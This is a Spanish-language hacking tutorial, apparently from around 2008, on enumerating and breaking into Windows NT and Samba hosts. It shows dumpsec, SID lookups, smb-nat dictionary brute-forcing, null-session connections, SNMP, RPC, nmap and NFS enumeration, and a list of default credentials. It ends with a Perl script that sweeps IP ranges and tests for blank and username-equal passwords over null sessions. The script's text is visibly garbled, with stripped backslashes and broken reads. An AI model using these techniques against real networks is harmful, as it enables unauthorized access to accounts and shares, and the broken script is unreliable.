Introhack

C:\>dumpsec /computer=\\192.168.1.129 /rpt=useronly /saveas=tsv /outfile=C:\temp\usuarios.txt
C:\>cat C:\temp\usuarios.txt
26/08/08 01:42 AM - Somarsoft DumpSec - \\192.168.1.129
UserName	Fullname	Comment
Alain		Alain		Cuenta predefinida para administrar el dominio
Guest				Cuenta predefinida para acceso de invitados
test		test		Backdoor ;)

C:\>user2id \\192.168.1.129 "domain users"

S-1-5-12-8934923-4321309299-5435291903-513 

Number of subauthorities is 5
Domain is WINDOWSNT
Lenght of SID in memory is 28 bytes
Type of SID is SidTypeGroup

sid2user \\192.168.1.14 5 12 8934923 4321309299 5435291903 500 
Name is Alain
Domain is WINDOWSNT
Type of SID is SidTypeYser

~$ smb-nat -o /tmp/pruebas.txt -u /lord/dict/users.txt -p /lord/dict/mil-dic.txt 192.168.1.129

[*]--- Reading usernames from /lord/dict/users.txt
[*]--- Reading passwords from /lord/dict/mil-dic.txt

[*]--- Checking host: 192.168.1.129
[*]--- Obtaining list of remote NetBIOS names
[*]--- Remote systems name tables:

     VENTISKA
     VENTISKA
     VENTISKA
     __MSBROWSE__
     WORKGROUP
     WORKGROUP
     WORKGROUP

[*]--- Attempting to connect with name: Alain
[*]--- CONNECTED with name: Alain
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with protocol: PC NETWORK PROGRAM 1.0
[*]--- Attempting to establish session

[*]--- Attempting to access share: \\Alain\

C:\>net use \\192.168.1.14\ipc$ "" /u: ""
System error 5 has ocurred.

Access is denied.

SNMP MIB						Información
.server.svSvcTable.svSvcEntry.svSvcName			Servicios en ejecución
.server.svShareTable.svShareEntry.svShareName		Nombres de recursos compartidos
.server.svShareTable.svShareEntry.svSharePath		Rutas de acceso a recursos compartidos
.server.svShareTable.svShareEntry.svShareComment	Comentarios en recursos compartidos
.server.svUserTable.svUserEntry.svUserName		Nombres de usuario
.domain.domPrimaryDomain				Nombres de dominio

$ sudo snmpwalk 192.168.1.129 public

system.sysDescr.0 = Linux alain 2.4.3-20mdk #1 Sun Apr 18 2003 i686
system.sysObjectID.0 = OID: enterprises.ucdavis.ucdSnmpAgent.linux
system.sysUpTime.0 = Timeticks: (25701) 0:04:17.01
system.sysContact.0 = Root  (configure
/etc/snmp/snmp.conf)system.sysName.0 = alain
......

lord@ventiska:~$  telnet router.xxxxxx.net 21

router.xxxxxx.net>show ip bgp 63.79.xxx.xx 
BGP routing table entry for 63.79.xxx.0/24. version 7215687
Paths: (29 available, best #14)
Not advertised to any peer
8123 312 31948 891234
221.4.xxx.xxx from 221.4.xxx.xxx (221.4.xxx.xxx)
Origin IGP, localpref 100, valid, external

router.xxxxxx.net>show ip bgp regexp _31948$

BGP table version is 89993xx, local router ID is 192.134.143.xxx
Status codes: s suppressed, d damped, h history, * valid, > best, i -internal
Origin codes: i - IGP, e - EGP, ? - incomplete
Network   Next Hop   Metric   LocPrf   Weight Path
*   63.79.xxx.xx   221.4.xxx.xxx   0   8123   312   31948   891234

$ sudo rpcinfo -p 192.168.1.129

program		vers	proto	port
100000		2	tcp	111 rpcbind
100002		3	udp	712 rusersd
100011		2	udp	754 rquotad
100005		1	udp	635 mountd
100003		2	udp	2049 nfs
100004		2	tcp	778 ypserv

$ sudo nmap -sS -sR 192.168.1.111

Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-31 19:56 CEST
Interesting ports on 192.168.1.111:
Not shown: 1705 closed ports
PORT   	  STATE  SERVICE     VERSION
80/tcp    open   http 
901/tcp   open 	 samba-swat 
6000/tcp  open   X11
32771/tcp open	 sometimes-rpc5 (status V1)
32772/tcp open	 sometimes-rpc7 (rusersd V2-3)
32773/tcp open	 sometimes-rpc9 (cachefsd V1)
32774/tcp open	 sometimes-rpc11 (dmispd V1)
32775/tcp open	 sometimes-rpc13 (smmpXdmid V1)
32776/tcp open	 sometimes-rpc15 (tttdbservd V1)

Nmap done: 1 IP address (1 host up) scanned in 1.661 seconds

$ rwho 192.168.1.129

alain     ventiska:tty7 Aug 31 15:16

$ sudo rusers -l 192.168.1.129

root	192.168.1.129:tty1  Aug 31 15:21	:51
root	192.168.1.129:ttyp0 Aug 31 15:22	:02 (:0.0)

$ sudo showmount -e 192.168.1.33

export list for 192.168.1.33:
/pub (everyone)
/var (everyone)
/usr user

Hacking 95/98/ME

Hacking NT

C:\> net use \\192.168.1.142\IPC$ * /u:Administrador
Type the password for \\192.168.1.142\IPC$:
The command completed successfully.

USUARIO             /   PASSWORD
Administrador       /   NULL, administrador, admin, Admin,
arcserve            /   arcserve, backup
prueba              /   prueba, password, contraseña
test                /   test, testing
backup              /   backup
guest               /   guest 

[archivo: pruebas.txt]
contraseña      nombre de usuario
""              Administrador
contraseña     Administrador
admin           Administrador
administrador   Administrador
.....

###############
# #
# by Genco #
# #
###############
#!/usr/bin/perl

#use strict;

if(@ARGV < 2){
print "usar: $0  n";
exit 0;
}

$rango=shift(@ARGV);
$file=shift(@ARGV);

$rango=~ s/d+.d+/d+//g;
chop($rango);

##Vaciado de fichero de linea de comandos.
if(-e "$file"){
open(USER,"echo -n > $file|");
close(USER);
}

##Vaciado de fichero de usuarios si existe
if(-e "usuarios_nulos.txt"){
open(USER,"|echo -n > usuarios_nulos.txt");
close(USER);
}

##Escaneo rangos ip y los redirijo a un archivo.

print "Escaneando rango $rango.0.0nn";
for($i=1;$i<=254;$i++){
print "Estas en el rango $rango.$i.0/24nn";
open(SCAN,"|nbtscan -q $rango.$i.0/24 >> $file");
close(SCAN);
}

##Sacando ips del fichero introducido en linea de comandos.
`grep "" $file | awk '{print $1}' > ipes_validas.txt`;

open(IPES_VAL,"ipes_validas.txt");
if( eq ""){
print "nNo se puede conectar con el servidor o 
no hay servidores activos en el rango :(n";
exit 0;
}
close(IPES_VAL);

open(IPES_VAL,"ipes_validas.txt");
foreach $ip (){
chop($ip);
print "nComprobando la ip $ip ...n";
open(OUT,"net rpc user -I $ip -U""%"" 2> /dev/null|");
sleep(1);
$comp=;
chop($comp);
if(length($comp) > 32){
print "nNo se pudo conectar al servidor $ip con sesion nula.n";
close(OUT);
next;
}
elsif(length($comp) == 0){
print "nNo se pudo conectar al servidor $ip n";
close(OUT);
next;
}
else{
print "nCONECTANDO CON EL SERVIDOR $ipn";
print "nObteniendo usuarios con NULL session...n";
open(OUT,"net rpc user -I $ip -U""%"" >> usuarios_nulos.txt|");
sleep(1);
}
close(OUT);
close(IPES_VAL);
open(OUT,"usuarios_nulos.txt");
if( eq ""){
print"nNo se pudieron establecer sesiones nulas 
o el servidor no devolvio usuarios. :(n";
exit 0;
close(OUT);
}

##Autentico con nombre de usuario y null password
open(IPES_VAL,"ipes_validas.txt");
open(USRNULL,"usuarios_nulos.txt");
print "nComprobando usuarios con password en blanco...n";
foreach $user (){
chop($user);
$user=~ tr/A-Z/a-z/;
open(OUT,"net rpc user -I $ip -U"$user"%""|");
sleep(1);
$comp=;
chop($comp);
if(length($comp) > 32){
print "nNo se pudo conectar al servidor $ip con el usuario $user y password en blanco. n";
close(OUT);
next;
}
else{
print "nConectado al servidor $ip con el usuario $user y password en blancon";
open(OUT,"|echo El usuario $user en servidor $ip tiene password 
en blanco y pertenece a los grupos: >> usuarios_validados.txt");
close(OUT);
open(OUT,"|net rpc user INFO $user -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
close(OUT);
open(OUT,"|net rpc share -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
}
close(OUT);
}
close(IPES_VAL);
close(USRNULL);

open(IPES_VAL,"ipes_validas.txt");
open(USRNULL,"usuarios_nulos.txt");
print "nComprobando usuarios con password igual a nombre de usuario...n";
foreach $user (){
chop($user);
$user=~ tr/A-Z/a-z/;
open(OUT,"net rpc user -I $ip -U"$user"%"$user"|");
sleep(1);
$comp=;
chop($comp);
if(length($comp) > 32){
print "nNo se pudo conectar al servidor $ip usuario $user con password $user.n";
close(OUT);
next;
}
else{
print "nConectado al servidor $ip con usuario $user y password $usern";
open(OUT,"|echo El usuario $user del servidor $ip tiene la password 
con su nombre de usuario y pertenece a los grupos: >> usuarios_validados.txt");
close(OUT);
open(OUT,"|net rpc user INFO $user -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
close(OUT);
open(OUT,"|net rpc share -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
}
close(OUT);
}
open(OUT,"| echo -n > usuarios_nulos.txt");
}
close(OUT);
close(IPES_VAL);
close(USRNULL);

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA

2005-2008 [SFD] - Sin Fronteras Digitales, http://www.lordepsylon.net